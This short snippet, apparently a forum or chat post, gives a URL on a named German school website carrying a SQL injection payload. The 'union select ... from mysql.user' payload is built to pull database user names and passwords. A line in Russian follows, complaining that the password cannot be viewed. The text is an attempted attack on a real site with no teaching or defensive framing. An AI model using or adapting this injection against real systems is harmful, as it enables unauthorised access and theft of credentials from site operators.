http://www.schulweb.de/de/archiv/einzelergebnis.html?Id=-1+union+select+concat(user,char(58),password)+from +mysql.user/*
чето пасс нельзя посотреть